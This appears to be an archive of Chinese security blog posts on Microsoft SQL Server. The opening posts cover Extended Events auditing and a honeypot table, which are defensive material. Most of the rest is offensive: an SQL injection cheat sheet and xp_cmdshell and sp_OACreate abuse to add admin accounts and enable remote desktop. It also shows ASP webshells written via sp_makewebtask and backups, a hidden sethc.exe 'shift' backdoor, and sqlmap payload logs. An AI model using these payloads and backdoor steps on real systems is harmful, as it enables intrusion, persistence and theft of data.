标签归档:MSSQL

Mssql数据库审计方案

SQL Server 2008R2版本实现方案:
1)数据库事务日志
在SQL Server数据库事务日志中,记录了每个事务的数据变更操作的详细信息。
2)Audit
之前做过的数据库蜜罐,针对单表监控增删改查行为并告警,就是使用的audit。
文章链接:

MSSQL数据库蜜罐测试


3)SQL Profiler
SQL Profiler是微软从SQL Server 2000开始引入的数据库引擎跟踪工具,具有使用界面操作的接口、使用SQL语句创建接口以及使用SMO编程创建接口。
4)Extended Event
Extended Event更加轻量级,性能消耗比SQL Profiler大幅降低,因此对用户系统性能影响也大幅减轻。对系统性能和吞吐量影响均在0.01%左右。

综合考虑可靠性、可维护性、系统开销和影响来看,使用Extended Event实现审计日志的方法是最优的选择。所以这里我们采用最优的方案Extended Event。

创建Extended Event Session并启用:

USE master
GO

CREATE EVENT SESSION [svrXEvent_User_Define_Testing] ON SERVER 
ADD EVENT sqlserver.sql_statement_completed
( 
	ACTION 
	( 
		sqlserver.database_id,
		sqlserver.session_id, 
		sqlserver.username, 
		sqlserver.client_hostname,
		sqlserver.client_app_name,
		sqlserver.sql_text, 
		sqlserver.plan_handle,
		sqlserver.tsql_stack,
		sqlserver.is_system,
		package0.collect_system_time
	) 
	WHERE sqlserver.username <> N'NT AUTHORITY\SYSTEM'
		AND sqlserver.username <> 'sa'
		AND sqlserver.is_system = 0		
)
ADD TARGET package0.asynchronous_file_target
( 
	SET 
		FILENAME = N'C:\Temp\svrXEvent_User_Define_Testing.xel', 
		METADATAFILE = N'C:\Temp\svrXEvent_User_Define_Testing.xem',
		MAX_FILE_SIZE = 10,
		MAX_ROLLOVER_FILES = 500
)
WITH (
	EVENT_RETENTION_MODE = NO_EVENT_LOSS,
	MAX_DISPATCH_LATENCY = 5 SECONDS,
    STARTUP_STATE=ON
);
GO


-- We need to enable event session to capture event and event data 
ALTER EVENT SESSION [svrXEvent_User_Define_Testing]
ON SERVER STATE = START;
GO

扩展事件创建完毕并启动以后,发生在SQL Server数据库服务端的所有sql_statement_completed事件信息都会被扩展事件异步滚动记录在日志文件svrXEvent_User_Define_Testing.xel文件中

每个事件以XML格式单行写入日志文件,因此我们可以采用SQL Server提供的动态管理函数sys.fn_xe_file_target_read_file来读取和分析日志文件。
SQL Server DMF sys.fn_xe_file_target_read_file ( path, mdpath, initial_file_name, initial_offset )
以下是使用DMF全量读取所有审计日志文件记录的例子:

USE master
GO

SELECT *
FROM sys.fn_xe_file_target_read_file('C:\Temp\svrXEvent_User_Define_Testing*.xel', 
		'C:\Temp\svrXEvent_User_Define_Testing*.xem', null, null)

结果如下:

详细的日志信息在Event_data字段中,使用下面的查询语句获取更为详细的信息:

-- This is SQL 2008R2
;WITH events_cte
AS (
	SELECT
		[event_data] = T.C.query('.'),
		[event_name] = T.C.value('(event/@name)[1]','varchar(100)'),
		[event_time] = DATEADD(mi, DATEDIFF(mi, GETUTCDATE(), CURRENT_TIMESTAMP),T.C.value('(event/@timestamp)[1]','datetime2')),
		[client app name] = T.C.value('(event/action[@name="client_app_name"]/value/text())[1]', 'sysname'),
		[client host name] = T.C.value('(event/action[@name="client_hostname"]/value/text())[1]', 'sysname'),
		[database_id]= T.C.value('(event/action[@name="database_id"]/value/text())[1]', 'int'),
		[cpu time (ms)] = T.C.value('(event/data[@name="cpu"]/value/text())[1]', 'bigint'),
		[logical reads] = T.C.value('(event/data[@name="reads"]/value/text())[1]', 'bigint'),
		[logical writes] = T.C.value('(event/data[@name="writes"]/value/text())[1]', 'bigint'),
		[duration (ms)] = T.C.value('(event/data[@name="duration"]/value/text())[1]', 'bigint'),
		[row count] = T.C.value('(event/data[@name="row_count"]/value/text())[1]', 'bigint'),
		[sql_text] = T.C.value('(event/action[@name="sql_text"]/value/text())[1]','nvarchar(max)'),
		[session_id] = T.C.value('(event/action[@name="session_id"]/value/text())[1]','int'),
		[user_name] = T.C.value('(event/action[@name="username"]/value/text())[1]','sysname'),
		[is_system] = T.C.value('(event/action[@name="is_system"]/value/text())[1]','sysname'),
		[query_timestamp] = T.C.value('(event/action[@name="collect_system_time"]/value/text())[1]','bigint'),
		[query_time] = DATEADD(mi, DATEDIFF(mi, GETUTCDATE(), CURRENT_TIMESTAMP),T.C.value('(event/action[@name="collect_system_time"]/text/text())[1]','datetime2'))
	FROM sys.fn_xe_file_target_read_file('C:\Temp\svrXEvent_User_Define_Testing*.xel', 
		'C:\Temp\svrXEvent_User_Define_Testing*.xem', null, null)
		CROSS APPLY (SELECT CAST(event_data as XML) AS event_data) as T(C)
)
SELECT 
	
	cte.session_id,
	--cte.query_timestamp,
	--cte.[event_time],
	cte.[query_time],
	--cte.[event_name],
	cte.user_name,
	[database_name] = db.name,
	cte.[database_id],
	cte.[client host name],
	
	cte.[logical reads],
	cte.[logical writes],
	cte.[cpu time (ms)],
	cte.[duration (ms)],
	--cte.[plan_handle],
	cte.sql_text,
	sql_text_hash = CHECKSUM(cte.sql_text),
	cte.[client app name],
	cte.[event_data],
	cte.is_system
FROM events_cte as cte
	LEFT JOIN sys.databases as db
	on cte.database_id = db.database_id
ORDER BY [query_time] ASC
;

 

结果如下:

从这个结果集中,我们可以很清楚的知道每一条SQL语句执行的详细情况,包括:用户名、执行时间点、客户机名、逻辑读、逻辑写、CPU消耗、执行时间消耗、查询语句详情等非常重要的信息。
另外也可以传入initial_file_name和initial_offset来实现从某个日志文件的特定offset(文件内容偏移量)开始读取。

 

参考文章:
http://mysql.taobao.org/monthly/2017/06/06/
http://mysql.taobao.org/monthly/2017/07/06/
http://mysql.taobao.org/monthly/2017/08/08/
https://github.com/elastic/beats/issues/149

MSSQL数据库蜜罐测试

简介


MSSQL 2008 R2可以使用MSSQL的审计功能,在每个线上数据库中创建一张蜜罐表,使用审计功能对该表的增删改查操作做监控,MSSQL会将操作日志记录到文件中。

测试


测试使用菜刀马连接数据库,获取数据库的请求如下:

tom=N&z0=GB2312&z1=com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://192.168.***.***:1433;databaseName=***;user=sa;password=***&z2=

程序如下:

else if(Z.equals("N")){NN(z1,sb);}

可以看到调用了NN函数

void NN(String s,StringBuffer sb)throws Exception{
Connection c=GC(s);
ResultSet r=c.getMetaData().getCatalogs();
while(r.next()){
sb.append(r.getString(1)+"\t");
}
r.close();
c.close();
}

getMetaData().getCatalogs()表示返回所有的数据库

双击数据库获取表的时候菜刀发送的请求包如下:

tom=O&z0=GB2312&z1=com.microsoft.sqlserver.jdbc.SQLServerDriver
jdbc:sqlserver://192.168.***.***:1433;databaseName=***;user=sa;password=***
kefu&z2=

调用OO(z1,sb);

void OO(String s,StringBuffer sb)throws Exception{
Connection c=GC(s);
String[] t={"TABLE"};
ResultSet r=c.getMetaData().getTables (null,null,"%",t);
while(r.next()){
sb.append(r.getString("TABLE_NAME")+"\t");
}r.close();c.close();}

会调用getTables函数,所执行的sql语句如下:

select
            TABLE_QUALIFIER = convert(sysname,db_name()),
            TABLE_OWNER     = convert(sysname,schema_name(o.schema_id)),
            TABLE_NAME      = convert(sysname,o.name),
            TABLE_TYPE      = convert(varchar(32),
                                        rtrim(substring('SYSTEM TABLE            TABLE       VIEW       ',
                                              (ascii(o.type)-83)*12+1,
                                              12))  -- 'S'=0,'U'=2,'V'=3
                                     ),
            REMARKS = convert(varchar(254),null)    -- Remarks are NULL.

        from
            sys.all_objects o

        where
            o.type in ('S','U','V') and
            has_perms_by_name(quotename(schema_name(o.schema_id)) + '.' + quotename(o.name),
                              'object',
                              'select') = 1 and
            charindex(substring(o.type,1,1),@type1) <> 0 and -- Only desired types.
            (@table_name  is NULL or o.name like @table_name) and
            (@table_owner is NULL or schema_name(o.schema_id) like @table_owner)
        order by 4, 1, 2, 3

has_perms_by_name(quotename(schema_name(o.schema_id)) + ‘.’ + quotename(o.name),’object’,’select’) = 1

会判断数据库是否有select权限,导致触发数据库蜜罐。

PS:
公司DBA使用一款从MSSQL导出数据到MYSQL的工具,点击浏览后同样有可能触发到该告警,产生误报。

Mssql注入基础

判断是否是Mssql

exists (select * from sysobjects)

注释符

/* */          C-style comment

--       SQL comment

;%00         Nullbyte

版本:@@VERSION

select * from test..hehe where id = 1 and @@version like '%2008%'

使用convert报错注入

select * from test..hehe where id = 1 and 1=convert(int,@@version) //爆版本

[Err] 22018 - [SQL Server]在将 nvarchar 值 'Microsoft SQL Server 2008 R2 (SP3) - 10.50.6000.34 (X64)

         Aug 19 2014 12:21:34

         Copyright (c) Microsoft Corporation

         Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service Pack 1) (Hypervisor)

' 转换成数据类型 int 时失败。

用户:user, system_user, suser_sname()

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判断是否是系统管理员

and 1=(Select IS_MEMBER('db_owner')) //判断是否是库权限

and 1= (Select HAS_DBACCESS('master')) //判断是否有库读取权限

数据库:

DB_NAME(i)

SELECT name FROM master..sysdatabases; //跨库查询需要用..

select * from test..hehe where id = 1 and db_name() > 0 //爆数据库

[Err] 22018 - [SQL Server]在将 nvarchar 值 'test' 转换成数据类型 int 时失败。

Hostname:

@@SERVERNAME

SERVERPROPERTY() //适用于MSSQL 2005及更高的版本

SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');

Tables and Columns:

与Mysql一样通过order by获取字段数

1' ORDER BY 1--                    True

1' ORDER BY 2--                    True

1' ORDER BY 3--                    True

1' ORDER BY 4--                    False - Query is only using 3 columns

-1' UNION SELECT 1,2,3--         True

通过having 与 group by查询爆表名与字段

select * from hehe having 1=1
选择列表中的列'hehe.id' 无效,因为该列没有包含在聚合函数或GROUP BY 子句中。

就可从返回的错误信息中即可得到当前表名与第1个字段

select * from hehe group by id having 1=1

选择列表中的列'hehe.name' 无效,因为该列没有包含在聚合函数或GROUP BY 子句中。

即可得到第2个字段名继续提交以下

select * from hehe group by id,name having 1=1

选择列表中的列'hehe.class' 无效,因为该列没有包含在聚合函数或GROUP BY 子句中。

这样一直下去直到得到所有字段名。

 

MSSQL注入,可以通过系统视图SysDatabases、sysobjects、syscolumns等等来获取信息。具体如下:

select * from hehe where id = 1 and (SELECT top 1 Name FROM Master..SysDatabases )>0 //获取第一个数据库

[Err] 22018 - [SQL Server]在将 nvarchar 值 'master' 转换成数据类型 int 时失败。

select * from hehe where id = 1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in (SELECT top 1 Name FROM Master..SysDatabases))>0 //获取第二个数据库

[Err] 22018 - [SQL Server]在将 nvarchar 值 'tempdb' 转换成数据类型 int 时失败。



select * from hehe where id = 1 and (select TOP 1 name from test..sysobjects where xtype in (char(117),char(118))) > 0 //获取test库第一个表

[Err] 22018 - [SQL Server]在将 nvarchar 值 'hehe' 转换成数据类型 int 时失败。

select * from hehe where id = 1 and (select TOP 1 name from test..sysobjects where xtype in (char(117),char(118)) and name not in (select TOP 1 name from test..sysobjects where xtype in (char(117),char(118)))) > 0  //获取test库第二个表

[Err] 22018 - [SQL Server]在将 nvarchar 值 'hehe1' 转换成数据类型 int 时失败。



select * from hehe where id = 1 and (SELECT TOP 1 syscolumns.name FROM syscolumns,sysobjects WHERE syscolumns.id=sysobjects.id AND sysobjects.name='hehe' ) > 0 //获取hehe表的第一个字段

[Err] 22018 - [SQL Server]在将 nvarchar 值 'id' 转换成数据类型 int 时失败。



select * from hehe where id = -1 union select id,name,class from test..hehe //获取数据

另外我们知道Mysql获取一些库和表的信息是通过information_schema,其实Mssql中也有information_schema视图

select * from test..hehe where id = 1 and (SELECT TOP 1 TABLE_NAME FROM test.INFORMATION_SCHEMA.TABLES) > 0 //获取Test库的表信息

[Err] 22018 - [SQL Server]在将 nvarchar 值 'hehe' 转换成数据类型 int 时失败。

select * from test..hehe where id = 1 and (SELECT TOP 1 COLUMN_NAME FROM test.INFORMATION_SCHEMA.COLUMNS where TABLE_NAME = 'hehe') > 0

[Err] 22018 - [SQL Server]在将 nvarchar 值 'id' 转换成数据类型 int 时失败。

获取多行数据的方式:
测试表如下:

可以通过以下三条语句一次获取多行内容,通过创建临时表解决:

BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM test..LoginInfo WHERE name>@xy SELECT @xy AS xy INTO TMP_DB END; 
SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB 
select * from test..hehe where id = 1 AND 1=0; DROP TABLE TMP_DB;

从MSSQL 2005开始有了更便捷的方式,通过path()

SELECT table_name+', ' FROM information_schema.tables FOR XML PATH('')

另外还有一种是Sqlmap Union注入的时候用到的

SELECT name FROM test.dbo.LoginInfo FOR XML RAW, BINARY BASE64

 

可以将执行语句转换为16进制执行

' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--

使用char()绕过单引号检测

SELECT * from test..hehe where id = char(49)

字符串拼接

SELECT CONCAT('a','a','a'); (SQL SERVER 2012)

SELECT 'a'+'d'+'mi'+'n';
SELECT str(id)+','+name+','+class+';' FROM test..LoginInfo

条件语句

IF(不能在select语句中使用)

select * from test..hehe where id = 1 IF SUBSTRING(user,1,1)=char(116) WAITFOR delay '0:0:5'

select * from test..hehe where id = 1 declare @w varchar(10) IF SUBSTRING(user,1,1)=char(116) SET @w='0:0:10' ELSE SET @w='0:0:0' WAITFOR DELAY @w

延迟执行

WAITFOR DELAY 'time_to_pass';

WAITFOR TIME 'time_to_execute';

Example:

IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';

OPENROWSET

在知道sa权限帐号密码情况下,db_owner或者public的数据库权限使用OPENROWSET调用xp_cmdshell 执行系统命令

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'Hehe123456', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');

Stacked Queries

Mssql支持Stacked Queries

select * from test..hehe where id = 1 INSERT into hehe values (5,'xxx','ooo')

可以替换空格

01     Start of Heading

02     Start of Text

03     End of Text

04     End of Transmission

05     Enquiry

06     Acknowledge

07     Bell

08     Backspace

09     Horizontal Tab

0A    New Line

0B    Vertical Tab

0C    New Page

0D    Carriage Return

0E     Shift Out

0F     Shift In

10     Data Link Escape

11     Device Control 1

12     Device Control 2

13     Device Control 3

14     Device Control 4

15     Negative Acknowledge

16     Synchronous Idle

17     End of Transmission Block

18     Cancel

19     End of Medium

1A    Substitute

1B    Escape

1C    File Separator

1D    Group Separator

1E     Record Separator

1F     Unit Separator

20     Space

25     %

不过在关键字中有百分号这种方式只在ASP(x)中有效,例如:

S%E%L%E%C%T%01column%02FROM%03table;

A%%ND 1=%%%%%%%%1;

以下字符也可以替换空格

22     "

28     (

29     )

5B    [

5D    ]
SELECT"table_name"FROM[information_schema].[tables];

select(name)from[master]..[sysdatabases]

AND/OR中间字符

01 - 20      Range

21     !

2B    +

2D    -

2E     .

5C    \

7E     ~

反斜杠不适用于MSSQL 2000.

SELECT 1FROM[hehe]WHERE\1=\1AND.1=.1

SELECT 1FROM[hehe]WHERE~20=~20AND+-1=+-1

密码哈希

Mssql 2008的读取方式如下,普通账户无法读取HASH

select name,password_hash from sys.sql_logins

 

参考文章:

http://websec.ca/kb/sql_injection

mssql 2008权限与存储过程

0x01 权限


MSSQL注入中关于权限问题主要有三个,如下:
服务启动权限
在SQL Server配置管理器配置,其中内置账户有三个,分别是Local System、Network Service、Network Service

LocalSystem
LocalSystem是预设的拥有本机所有权限的本地账户,这个账户跟通常的用户账户没有任何关联,也没有用户名和密码之类的凭证。这个服务账户可以打开注册表的HKEY_LOCAL_MACHINE\Security键,当LocalSystem访问网络资源时,它是作为计算机的域账户使用的。
举例来说,以LocalSystem账户运行的服务主要有:WindowsUpdate Client、 Clipbook、Com+、DHCP Client、Messenger Service、Task Scheduler、Server Service、Workstation Service,还有Windows Installer。

NetworkService
NetworkService账户是预设的拥有本机部分权限的本地账户,它能够以计算机的名义访问网络资源。但是他没有Local System 那么多的权限,以这个账户运行的服务会根据实际环境把访问凭据提交给远程的计算机。Network Service账户通常可以访问Network Service、Everyone组,还有认证用户有权限访问的资源。
举例来说,以Network Service账户运行的服务主要有:Distributed Transaction Coordinator、DNS Client、Performance Logs and Alerts,还有RPC Locator。

LocalService
LocalService账户是预设的拥有最小权限的本地账户,并在网络凭证中具有匿名的身份。Local Service账户通常可以访问Local Service、Everyone组还有认证用户有权限访问的资源。
举例来说,以Local Service账户运行的服务主要有:Alerter、Remote Registry、Smart Card、SSDP,还有WebClient。

仅有当MSSQL以LocalSystem运行的时候才可以添加用户执行exec master..xp_cmdshell ‘net user vinc vinc /add’

服务器角色
SQL Server管理员对数据库引擎有无限制的访问权限。sa是默认的管理员账户,查看sa的服务器角色可以看到勾选了sysadmin和public。
新建用户在服务器角色选项内选择sysadmin,那么将具有和sa同样的权限。

数据库角色成员身份
指的是用户针对不同的数据库所具有的操作权限,例如db_owner权限,就在该处配置。

 

0x02 存储过程


xp_cmdshell(sysadmin权限)

select * from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell';

其中xtype=’x’代表扩展存储过程

然后尝试执行

exec master..xp_cmdshell 'net user vinctest test123!@# /add'

建议密码设置的复杂些,有些服务器有密码复杂度限制,密码如果太简单,建不了用户。

提示:

[Err] 42000 - [SQL Server]SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后的版本中则默认禁止。如果用户拥有管理员sa权限则可以用sp_configure开启它。
可以重启启用。

EXEC sp_configure 'show advanced options',1//允许修改高级参数
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1 //打开xp_cmdshell扩展
RECONFIGURE

然后就可以运行成功

默认服务器角色为public无法调用xp_cmdshell。
现在我们新建一个账户test,然后在安全性–登录名-test右键属性,如果在服务器角色选项内选择public。

exec master..xp_cmdshell 'ipconfig'

发现无法成功执行。
提示:

[Err] 42000 - [SQL Server]拒绝了对对象 'xp_cmdshell' (数据库 'mssqlsystemresource',架构 'sys')的 EXECUTE 权限。

使用xp_cmdshell开启RDP服务

exec master..xp_cmdshell 'sc config termservice start= auto'
exec master..xp_cmdshell 'net start termservice'

使用xp_cmdshell编辑注册表允许连接到这台计算机,并且重置RDP端口为3389

exec master..xp_cmdshell 'echo Windows Registry Editor Version 5.00>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg'
exec master..xp_cmdshell 'echo "fDenyTSConnections"=dword:00000000>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg'
exec master..xp_cmdshell 'echo "PortNumber"=dword:00000d3d>>3389.reg'
exec master..xp_cmdshell 'regedit /s 3389.reg'

或者

EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x00 /f '
EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f'
EXEC xp_cmdshell 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp" /v PortNumber /t REG_DWORD /d 3389 /f'

使用xp_cmdshell将用户添加到远程用户组

exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" test /add'

如果3389的端口修改了,怎么办
可以先执行exec master..xp_cmdshell ‘netstat -an’看看那些端口的数字比较特殊,比如9833、12345等,尝试连接
或者Tasklist/SVC 列出所有进程,系统服务及其对应的PID值。终端所对应的服务名为:TermService

可以看到进程号为1396
然后使用netstat -ano | findstr “1396”

然后就可以看到监听端口

删除扩展存储过过程xp_cmdshell的语句

exec master.dbo.sp_dropextendedproc 'xp_cmdshell'

发现报错

无法对 过程 'xp_cmdshell' 执行 删除,因为它不存在,或者您没有所需的权限。
在 SQL Server 2008 和 SQL Server 2005 中,sp_dropextendedproc 不会删除系统扩展存储过程。在 SQL Server 2000 中,sp_dropextendedproc 可用于删除任何扩展存储过程。

sp_makewebtask 备份(sysadmin权限)
Windows 2008中没有该存储过程,Windows 2005中有该存储过程
sp_makewebtask存储过程在MSSQL 2005及以上版本中默认是禁用的
激活 sp_makewebtask存储过程的语句:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Web Assistant Procedures',1;RECONFIGURE;

写入文件

exec sp_makewebtask 'c:\shell.asp',' select ''<%25execute(request("a"))%25>'' ';

sp_OACreate和sp_OAMethod(需要sysadmin权限)
1)wscript.shell执行命令
SQL Server 提供了sp_OACREATE和sp_OAMethod函数,可以利用这两个函数调用OLE控件,间接获取一个shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。
sp_oacreate 存储过程在MSSQL 2005及以上版本中默认是禁用的,激活 sp_oacreate 存储过程的语句:

exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;

语句如下:

use master
declare @o int
exec sp_oacreate 'wscript.shell',@o out
exec sp_oamethod @o,'run',null,'cmd /c "net user" > c:\test.tmp'

2)Shell.Application执行命令
Windows2005下成功,Windows2008下失败

declare @o int
exec sp_oacreate 'Shell.Application', @o out
exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c net user >c:\test.txt','c:\windows\system32','','1';
or
exec sp_oamethod @o, 'ShellExecute',null, 'user.vbs','','c:\','','1';

3)移动文件

declare @aa int
exec sp_oacreate 'scripting.filesystemobject', @aa out
exec sp_oamethod @aa, 'moveFile',null,'c:\windows\system32\sethc.exe', 'c:\windows\system32\sethc1.exe';

4)删除文件

DECLARE @Result int
DECLARE @FSO_Token int
EXEC @Result = sp_OACreate 'Scripting.FileSystemObject', @FSO_Token OUTPUT
EXEC @Result = sp_OAMethod @FSO_Token, 'DeleteFile', NULL, 'c:\windows\system32\sethc.exe'
EXEC @Result = sp_OADestroy @FSO_Token

5)复制文件
例如安装shift后门

declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\cmd.exe' ,'c:\windows\system32\sethc.exe';

因为Windows2008的权限设置比较严格,所以该方式不适用。方法可以参考:

Windows服务器安装shift后门

6)添加管理员账户
Windows2005下成功,Windows2008下失败

DECLARE @js int
EXEC sp_OACreate 'ScriptControl',@js OUT
EXEC sp_OASetProperty @js, 'Language', 'JavaScript'
EXEC sp_OAMethod @js, 'Eval', NULL, 'var o=new ActiveXObject("Shell.Users");z=o.create("user");z.changePassword("pass","");z.setting("AccountType")=3;'

xp_regwrite(sysadmin权限)
开启远程桌面

exec xp_regwrite
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server',
'fDenyTSConnections',
'REG_DWord',0

xp_regread
查看远程桌面是否开启

exec xp_regread
'HKEY_LOCAL_MACHINE',
'SYSTEM\CurrentControlSet\Control\Terminal Server',
'fDenyTSConnections'

xp_dirtree
查看目录

exec xp_dirtree 'C:\'

openrowset(sysadmin权限)
该组件默认是禁止的,开启命令如下:

exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;

利用沙盒执行命令
Windows 2005

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 //默认为3
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c echo a>c:\b.txt")')

windows 2008
报错,报错信息如下:
因为OLE DB 访问接口’microsoft.jet.oledb.4.0′ 配置为在单线程单元模式下运行,所以该访问接口无法用于分布式查询。

sp_addlogin(sysadmin权限)
创建mssql帐号

exec master.dbo.sp_addlogin vinc123,'123Test!@#'

sp_addsrvrolemember(sysadmin权限)
把创建的mssql登陆帐号提升到sysadmin

exec master.dbo.sp_addsrvrolemember name,sysadmin

sp_password(sysadmin权限)
修改sa用户密码

EXEC sp_password NULL,'Hehe123456','sa'

 

参考文章:
http://blog.csdn.net/ma_jiang/article/details/9235743

Windows服务器安装shift后门

Windows2003


通过远程桌面连接工具连接到Windows远程桌面,在没有输入用户名和密码前,连接按5次Shift键,可以调用c:\windows\system32\sethc.exe,所以需要把c:\windows\system32\sethc.exe替换成其他的执行程序。
例如这里我调用资源管理器,安装方式如下:

copy c:\windows\explorer.exe c:\windows\system32\sethc.exe /y
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe /y
attrib c:\windows\system32\sethc.exe +h
attrib c:\windows\system32\dllcache\sethc.exe +h

其中attrib +h是添加隐藏属性

 

Windows2008


windows 2008中对于权限设置的比较严格,例如我们通过xp_cmdshell直接替换sethc.exe是没有权限的。如图所示:

exec xp_cmdshell 'copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y'

将权限目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators)命令

exec xp_cmdshell 'takeown /f c:\windows\system32\sethc.* /a /r /d y'

赋予SYSTEM完全控制权限
cacls c:\windows\system32\sethc.exe /T /E /G system:F

然后就可以复制了

通过shift后门调出DOS窗口

不过windows 2008下如果是用explorer.exe替换无法调用出资源管理窗口。

 

mssql db_owner权限拿shell

如果站库同服务器,且权限为db_owner的话,那么我们可以考虑直接写入一句话。但写入一句话的前提就是知道web物理路径列出web目录。然后利用sql语句创建一个临时表然后将这个一句话插入到这个临时表再进行备份,备份成asp文件就成功得到一个一句话后门了然后连接就OK了

1.判断数据库权限

And 1=(select is_member('db_owner'));--

2.利用xp_dirtree查找web物理目录
如果我们用DB权限写入一句话是需要知道web目录
执行如下:

;create table temp (dir nvarchar(255),depth varchar(255),files varchar(255),id int not null identity (1,1));--

再执行:

;insert into temp (dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1

利用xp_dirtree 查询 将指定目录文件盒文件夹插入到临时表中 这里查询的是C盘目录
3.写入一句话木马

MSSQL常用的备份策略是:

每周一次完整备份
每天一次差异备份
每小时一次事务日志备份

1)差异备份: 创建差异数据库备份需要有以前的完整数据库备份。

backup database 库名 to disk = 'c:\tmp.bak';
create table [dbo].[test_tmp] ([cmd] [image]);
insert into test_tmp(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
backup database 库名 to disk='c:\shell.asp' WITH DIFFERENTIAL,FORMAT;

2)备份事务日志

alter database test set RECOVERY FULL;
create table test_tmp (a image);
backup log web1 to disk = 'c:\cmd' with init;
insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);
backup log test to disk = 'c:\shell.asp';

【sqlmap】mssql payload总结

SQLMAP的几种注入类型:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。B
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。T
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

布尔盲注


根据Sqlmap的基础知识,SQL默认是risk 1,而只有指定risk 3的时候才会尝试OR语句,默认只会尝试And语句。例如

[08:47:39] [PAYLOAD] xxxxx) AND 6520=5100 AND (1675=1675
[08:47:39] [PAYLOAD] xxxxx) AND 7962=7962 AND (1208=1208
[08:47:39] [PAYLOAD] xxxxx AND 4322=1496
[08:47:39] [PAYLOAD] xxxxx AND 7962=7962
[08:47:39] [PAYLOAD] xxxxx') AND 4890=2057 AND ('GECz'='GECz
[08:47:39] [PAYLOAD] xxxxx') AND 7962=7962 AND ('BSfL'='BSfL
[08:47:39] [PAYLOAD] xxxxx' AND 4048=3117 AND 'Uuva'='Uuva
[08:47:39] [PAYLOAD] xxxxx' AND 7962=7962 AND 'xLPH'='xLPH
[08:47:39] [PAYLOAD] xxxxx%' AND 9495=9814 AND '%'='
[08:47:39] [PAYLOAD] xxxxx%' AND 7962=7962 AND '%'='
[08:47:39] [PAYLOAD] xxxxx AND 9806=4934-- GFoG
[08:47:39] [PAYLOAD] xxxxx AND 7962=7962-- UcZg

那么如果我提供的参数值本身就没有查询结果的话,那么默认的Risk 1是无法布尔盲注的。
比如我提供的参数是xxxxx,对应的SQL查询结果是空,那么Sqlmap检测结果是:

[08:47:42] [WARNING] GET parameter 'name' does not seem to be injectable

而我提供的参数值是xxxx,对应的SQL查询结果不为空,那么sqlmap检测结果是:

GET parameter 'name' is vulnerable.

如果设置risk 3,就可以了,但这个有个sqlmap的BUG。这里我的sqlmap语句如下:

python sqlmap.py -u http://192.168.192.144:32100/sql.jsp?name=xxxxx -v 5 --technique B --current-user --batch --risk 3

这个新增加的Payload如下:

[09:33:53] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[09:33:53] [PAYLOAD] -5078
[09:33:53] [PAYLOAD] -2608) OR 2699=5250 AND (3310=3310
[09:33:53] [PAYLOAD] -4971) OR 5141=5141 AND (2563=2563
[09:33:53] [PAYLOAD] -6986 OR 8399=1391
